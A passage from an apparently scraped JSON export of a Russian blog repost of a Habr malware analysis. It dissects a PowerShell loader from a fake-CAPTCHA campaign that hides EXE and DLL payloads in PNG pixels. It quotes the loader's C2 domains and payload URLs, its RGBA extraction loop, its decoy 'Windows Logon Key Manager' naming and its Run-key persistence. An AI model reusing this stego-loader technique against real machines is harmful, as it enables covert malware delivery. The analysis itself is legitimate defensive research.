\u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u044f, \u043a\u043e\u0433\u0434\u0430 PowerShell \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u0444\u0430\u0439\u043b \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435\u043c .png<\/code>, \u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u044b\u0439 PE-\u0444\u0430\u0439\u043b.<\/p>\n
PNG \u0441\u0430\u043c \u043f\u043e \u0441\u0435\u0431\u0435 \u043d\u0438\u043a\u043e\u0433\u043e \u043d\u0435 \u043f\u0443\u0433\u0430\u0435\u0442.<\/p>\n
PNG + PowerShell + \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 EXE \u2014 \u0443\u0436\u0435 \u0441\u043e\u0432\u0441\u0435\u043c \u0434\u0440\u0443\u0433\u043e\u0439 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440.<\/p>\n
\u0418\u0442\u043e\u0433<\/h2>\n
\u0424\u0430\u0439\u043b 0fa1d62be17c1589a778f4bf25fa8ced211369fc.ps1.bin<\/code> \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043d\u0435 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043e\u043c, \u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u043e\u043c.<\/p>\n
\u0415\u0433\u043e \u0437\u0430\u0434\u0430\u0447\u0430 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u043d\u0430\u044f: \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0442\u0440\u0438 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f, \u0432\u044b\u0442\u0430\u0449\u0438\u0442\u044c \u0438\u0437 \u043d\u0438\u0445 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0441\u043e\u0431\u0440\u0430\u0442\u044c EXE \u0438 DLL, \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0432\u0441\u0451 \u044d\u0442\u043e \u0432 C:\\ProgramData<\/code>, \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0430\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043f\u0435\u0440\u0432\u044b\u0439 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442.<\/p>\n
\u0421\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0437\u0434\u0435\u0441\u044c \u2014 \u0441\u043f\u043e\u0441\u043e\u0431 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438.<\/p>\n
\u0412\u043c\u0435\u0441\u0442\u043e \u0442\u043e\u0433\u043e \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0441\u0442\u043e \u0441\u043a\u0430\u0447\u0430\u0442\u044c:<\/p>\n
malware.exe<\/code>
<\/a><\/div><\/pre>\n
\u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c:<\/p>\n
image.pngimage.pngimage.png<\/code>
<\/a><\/div><\/pre>\n
\u0410 \u0443\u0436\u0435 \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u044d\u0442\u0438 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u044e\u0442\u0441\u044f \u0432:<\/p>\n
LockScreenContentServer.exedui70.dll<\/code>
<\/a><\/div><\/pre>\n
\u0418 \u0438\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a\u0438\u0435 \u0432\u0435\u0449\u0438 \u043c\u043d\u0435 \u0432 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0438 \u043d\u0440\u0430\u0432\u044f\u0442\u0441\u044f. \u0421\u043d\u0430\u0440\u0443\u0436\u0438 \u0432\u0440\u043e\u0434\u0435 \u043b\u0435\u0436\u0438\u0442 \u043e\u0431\u044b\u0447\u043d\u0430\u044f \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430, \u0430 \u0435\u0441\u043b\u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0447\u0443\u0442\u044c \u0433\u043b\u0443\u0431\u0436\u0435 \u2014 \u0432\u043d\u0443\u0442\u0440\u0438 \u0443\u0436\u0435 \u0441\u043e\u0432\u0441\u0435\u043c \u0434\u0440\u0443\u0433\u043e\u0439 \u043f\u0440\u0430\u0437\u0434\u043d\u0438\u043a.<\/p>\n
\u041d\u043e \u043d\u0430 \u044d\u0442\u043e\u043c \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0440\u0430\u043d\u043e.<\/p>\n
PowerShell \u043c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438. \u0422\u0435\u043f\u0435\u0440\u044c \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u2014 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 <\/strong>LockScreenContentServer.exe<\/strong><\/code> \u0438 <\/strong>dui70.dll<\/strong><\/code>. \u041f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043d\u0430\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442\u043a\u0440\u044b\u043b \u0434\u0432\u0435\u0440\u044c, \u0430 \u0447\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u044d\u0442\u043e\u0439 \u0434\u0432\u0435\u0440\u044c\u044e \u2014 \u044d\u0442\u043e \u0443\u0436\u0435 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441, \u043d\u043e \u044d\u0442\u043e \u0443\u0436\u0435 \u0441\u043e\u0432\u0441\u0435\u043c \u0434\u0440\u0443\u0433\u0430\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u044f.<\/p>\n<\/div>\n
\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 https:\/\/habr.com\/ru\/articles\/1077040\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
\u041d\u0430\u0432\u0435\u0440\u043d\u043e\u0435, \u043c\u043d\u043e\u0433\u0438\u0435 \u0443\u0436\u0435 \u0432\u0438\u0434\u0435\u043b\u0438 \u0438\u043b\u0438 \u0445\u043e\u0442\u044f \u0431\u044b \u0441\u043b\u044b\u0448\u0430\u043b\u0438 \u043f\u0440\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0430\u0442\u0430\u043a, \u0433\u0434\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043a\u0440\u0430\u0441\u0438\u0432\u0443\u044e \u0444\u0435\u0439\u043a\u043e\u0432\u0443\u044e Cloudflare CAPTCHA, \u0430 \u0434\u0430\u043b\u044c\u0448\u0435 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u00ab\u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438\u00bb.\u0421\u0445\u0435\u043c\u0430 \u0434\u0430\u043b\u0435\u043a\u043e \u043d\u0435 \u043d\u043e\u0432\u0430\u044f. \u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u044f \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0435 \u0443\u0434\u0438\u0432\u043b\u044e\u0441\u044c, \u0435\u0441\u043b\u0438 \u043a\u0442\u043e-\u0442\u043e \u0441\u043a\u0430\u0436\u0435\u0442: \u00ab\u0414\u0430 \u043c\u044b \u044d\u0442\u043e \u0443\u0436\u0435 \u0432\u0438\u0434\u0435\u043b\u0438\u00bb. \u0418 \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u0430\u0432. \u041d\u043e, \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e, \u0441\u0442\u0430\u0440\u044b\u0435 \u0438\u0434\u0435\u0438 \u043f\u0435\u0440\u0438\u043e\u0434\u0438\u0447\u0435\u0441\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u044e\u0442 \u0438\u0437 \u0448\u043a\u0430\u0444\u0430, \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043a\u0440\u0430\u0448\u0438\u0432\u0430\u044e\u0442 \u0438 \u0441\u043d\u043e\u0432\u0430 \u043f\u0443\u0441\u043a\u0430\u044e\u0442 \u0432 \u0445\u043e\u0434.\u0412\u0441\u044f \u044d\u0442\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u043e\u043f\u044f\u0442\u044c \u0443\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u0434\u043d\u0443 \u043f\u0440\u043e\u0441\u0442\u0443\u044e \u0432\u0435\u0449\u044c \u2014 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u0415\u0441\u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0441\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442 \u0442\u043e, \u0447\u0442\u043e \u0435\u043c\u0443 \u043f\u043e\u0434\u0441\u0443\u043d\u0443\u043b\u0438, \u0434\u0430\u043b\u044c\u0448\u0435 \u0437\u0430\u0449\u0438\u0442\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0443\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u043d\u0435 \u0441\u0438\u043b\u044c\u043d\u043e \u043f\u043e\u043c\u043e\u0447\u044c.\u0412 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u043c\u043d\u0435 \u043f\u043e\u043f\u0430\u043b\u0441\u044f \u0444\u0430\u0439\u043b, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0439 \u0441 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0435\u0439 TerminalFix. \u041d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u043d \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043d\u0435\u0437\u0430\u0442\u0435\u0439\u043b\u0438\u0432\u043e:0fa1d62be17c1589a778f4bf25fa8ced211369fc.ps1.bin\u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 .bin \u0437\u0434\u0435\u0441\u044c, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u043d\u043e \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043e\u0431\u044b\u0447\u043d\u044b\u0439 PowerShell. \u0418 \u0432\u043e\u0442 \u0442\u0443\u0442 \u044f \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u043e\u0434\u0443\u043c\u0430\u043b, \u0447\u0442\u043e \u0441\u0435\u0439\u0447\u0430\u0441 \u0431\u0443\u0434\u0435\u0442 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0430 \u043f\u0430\u0440\u0443 \u0434\u0435\u0441\u044f\u0442\u043a\u043e\u0432 \u0441\u0442\u0440\u043e\u043a \u0441 IEX, FromBase64String \u0438 \u043f\u0440\u043e\u0447\u0435\u0439 \u043a\u043b\u0430\u0441\u0441\u0438\u043a\u043e\u0439 \u0436\u0430\u043d\u0440\u0430.\u041d\u043e \u043d\u0435\u0442. \u0417\u0434\u0435\u0441\u044c \u0440\u0435\u0448\u0438\u043b\u0438 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0435\u0435.PowerShell \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442 PNG, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0435\u0433\u043e \u043a\u0430\u043a \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435, \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043f\u043e \u043f\u0438\u043a\u0441\u0435\u043b\u044f\u043c, \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0438\u0437 \u043d\u0438\u0445 \u0431\u0430\u0439\u0442\u044b \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u0430\u0439\u043b. \u0410 \u043f\u043e\u0442\u043e\u043c \u0434\u0435\u043b\u0430\u0435\u0442 \u044d\u0442\u043e \u0435\u0449\u0451 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437. \u0412 \u043e\u0431\u0449\u0435\u043c, \u043e\u0431\u044b\u0447\u043d\u044b\u0439 PowerShell \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u0440\u0435\u0448\u0438\u043b \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0431\u044b\u0442\u044c \u0430\u0440\u0445\u0438\u0432\u0430\u0442\u043e\u0440\u043e\u043c.\u0421 \u0447\u0435\u0433\u043e \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0434\u0432\u0430 \u0434\u043e\u043c\u0435\u043d\u0430:$contentDomains = @(    «bestsocialmedianewspapper.com»,    «offlineupdater.com»)\u0421\u0440\u0430\u0437\u0443 \u0441\u043a\u0430\u0436\u0443: \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0437\u0430\u0431\u0430\u0432\u043d\u044b\u0435.\u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e bestsocialmedianewspapper.com. \u0412\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u0434\u043e\u043c\u0435\u043d, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043a\u0442\u043e-\u0442\u043e \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043b \u0437\u0430 \u043f\u044f\u0442\u044c \u043c\u0438\u043d\u0443\u0442 \u0434\u043e \u0434\u0435\u0434\u043b\u0430\u0439\u043d\u0430. \u041d\u043e \u0434\u0430\u043b\u044c\u0448\u0435 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0435\u0435. \u0421\u043a\u0440\u0438\u043f\u0442 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u0442\u0440\u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u0430:$imageUrl1 = «\/api\/zX9cV7bN5mQ2wA4sD6fG8hJ1kL3pO0?filename=QANI3O7YPM59wwr8jwfB8iJV6P8AaaBaz56RrXup.png»$imageUrl2 = «\/api\/zX9cV7bN5mQ2wA4sD6fG8hJ1kL3pO0?filename=b9SGYS6QMqQ1wm2awfiXmaeXj0FYfQrKZY4oUcP4.png»$imageUrl3 = «\/api\/zX9cV7bN5mQ2wA4sD6fG8hJ1kL3pO0?filename=9KBgTxBOhM5kQ6wypbbZcQHzwzVUoiNv0WE5vKEa.png»\u0421\u0430\u043c\u0438 \u0438\u043c\u0435\u043d\u0430 PNG \u043d\u0438\u0447\u0435\u0433\u043e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0435 \u0434\u0430\u044e\u0442. \u041e\u043d\u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u043a\u0430\u043a \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432.\u0414\u0430\u043b\u044c\u0448\u0435 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0443\u044e \u0434\u043b\u044f Windows \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e:$outputBasePath = [Environment]::GetFolderPath(«CommonApplicationData»)\u041d\u0430 \u043e\u0431\u044b\u0447\u043d\u043e\u0439 Windows \u044d\u0442\u043e:C:\\ProgramData\u0410 \u0432\u043d\u0443\u0442\u0440\u0438 \u043d\u0435\u0451 \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u043d \u043a\u0430\u0442\u0430\u043b\u043e\u0433:WindowsLogonKeyManager_<\u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u044b>\u0422\u043e \u0435\u0441\u0442\u044c \u0443\u0436\u0435 \u043d\u0430 \u0441\u0442\u0430\u0440\u0442\u0435 \u0430\u0432\u0442\u043e\u0440 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432\u0441\u0451 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u043a\u0430\u043a\u043e\u0439-\u043d\u0438\u0431\u0443\u0434\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442.\u041d\u0435\u043c\u043d\u043e\u0433\u043e \u043a\u0440\u0430\u0441\u0438\u0432\u044b\u0445 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0439\u0412\u043e\u0442 \u044d\u0442\u043e \u043c\u043d\u0435 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043f\u043e\u043d\u0440\u0430\u0432\u0438\u043b\u043e\u0441\u044c:$serviceName = «Windows Logon Key Manager»$displayName = «Manages secure logon key storage and authentication»\u0417\u0432\u0443\u0447\u0438\u0442 \u0441\u043e\u043b\u0438\u0434\u043d\u043e.\u041f\u0440\u044f\u043c\u043e \u0445\u043e\u0447\u0435\u0442\u0441\u044f \u043f\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0447\u0442\u043e \u0441\u0435\u0439\u0447\u0430\u0441 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u0441\u044f \u043a\u0430\u043a\u043e\u0439-\u043d\u0438\u0431\u0443\u0434\u044c \u0432\u0430\u0436\u043d\u044b\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u043a\u043b\u044e\u0447\u0430\u043c\u0438 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\u041d\u043e \u0435\u0441\u0442\u044c \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430.\u041d\u0438\u043a\u0430\u043a\u043e\u0433\u043e \u0442\u0430\u043a\u043e\u0433\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0437\u0434\u0435\u0441\u044c \u043d\u0435\u0442.\u042d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435.\u041f\u0440\u0438\u0447\u0451\u043c \u0434\u0430\u043b\u044c\u0448\u0435 \u0441\u0430\u043c \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 Windows Service. \u041e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run.\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0438\u0441\u0442\u043e\u0440\u0438\u044f: \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0447\u0435\u043c-\u043d\u0438\u0431\u0443\u0434\u044c \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u043c \u2014 \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0430 \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0443\u0436\u0435 \u0433\u043e\u0442\u043e\u0432\u0430.\u0421\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 PNG\u0412\u043e\u0442 \u0437\u0434\u0435\u0441\u044c \u044f \u0443\u0436\u0435 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0441\u044f \u0447\u0443\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u0435\u0435.\u0417\u0430 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044f:function Extract-RawFileFromImage {\u041e\u043d\u0430 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 System.Drawing:Add-Type -AssemblyName System.Drawing\u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0444\u0430\u0439\u043b \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u0443\u044e \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0443:$bmp = New-Object System.Drawing.Bitmap $ImagePath\u041d\u0430 \u044d\u0442\u043e\u043c \u043c\u043e\u043c\u0435\u043d\u0442\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0434\u0443\u043c\u0430\u0442\u044c:\u041d\u0443 PNG \u0438 PNG. \u041c\u043e\u0436\u0435\u0442, \u043f\u0440\u043e\u0441\u0442\u043e \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430 \u0434\u043b\u044f \u043e\u0442\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f?\u041d\u0435\u0442.\u0414\u0430\u043b\u044c\u0448\u0435 \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0442\u044c \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0438\u043a\u0441\u0435\u043b\u044c:for ($y = 0; $y -lt $bmp.Height; $y++) {    for ($x = 0; $x -lt $bmp.Width; $x++) {        $c = $bmp.GetPixel($x, $y)        $ms.WriteByte([byte]$c.R)        $ms.WriteByte([byte]$c.G)        $ms.WriteByte([byte]$c.B)        $ms.WriteByte([byte]$c.A)    }}\u0422\u043e \u0435\u0441\u0442\u044c \u0431\u0435\u0440\u0443\u0442\u0441\u044f \u0447\u0435\u0442\u044b\u0440\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f:RGBA\u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u043e\u0434\u0440\u044f\u0434 \u0432 MemoryStream.\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a\u0430\u044f \u043b\u043e\u0433\u0438\u043a\u0430:PNG \u2193\u043f\u0438\u043a\u0441\u0435\u043b\u0438 \u2193R G B AR G B AR G B AR G B A \u2193\u043c\u0430\u0441\u0441\u0438\u0432 \u0431\u0430\u0439\u0442\u043e\u0432 \u2193payload\u0418 \u0432\u043e\u0442 \u0442\u0443\u0442 PNG \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0441\u0442\u043e \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u043e\u0439.\u041f\u043e \u0441\u0443\u0442\u0438, \u044d\u0442\u043e \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440.\u0413\u0434\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0444\u0430\u0439\u043b\u041f\u043e\u0441\u043b\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0432\u0441\u0435\u0445 \u043f\u0438\u043a\u0441\u0435\u043b\u0435\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043c\u0430\u0441\u0441\u0438\u0432:$allBytes = $ms.ToArray()\u041d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u043e\u043d \u043d\u0435 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f.\u041f\u0435\u0440\u0432\u044b\u0435 \u0432\u043e\u0441\u0435\u043c\u044c \u0431\u0430\u0439\u0442 \u0438\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043a\u0430\u043a Int64:$dataLength = [BitConverter]::ToInt64($allBytes, 0)\u0422\u043e \u0435\u0441\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u0438 \u044d\u0442\u043e\u0433\u043e \u00ab\u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u00bb \u043b\u0435\u0436\u0438\u0442 \u0435\u0449\u0451 \u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438.\u0423\u0441\u043b\u043e\u0432\u043d\u043e:+——————+—————————+| 8 \u0431\u0430\u0439\u0442            | payload                   || \u0440\u0430\u0437\u043c\u0435\u0440 payload    | \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u0430\u0439\u043b   |+——————+—————————+\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0440\u0430\u0437\u043c\u0435\u0440 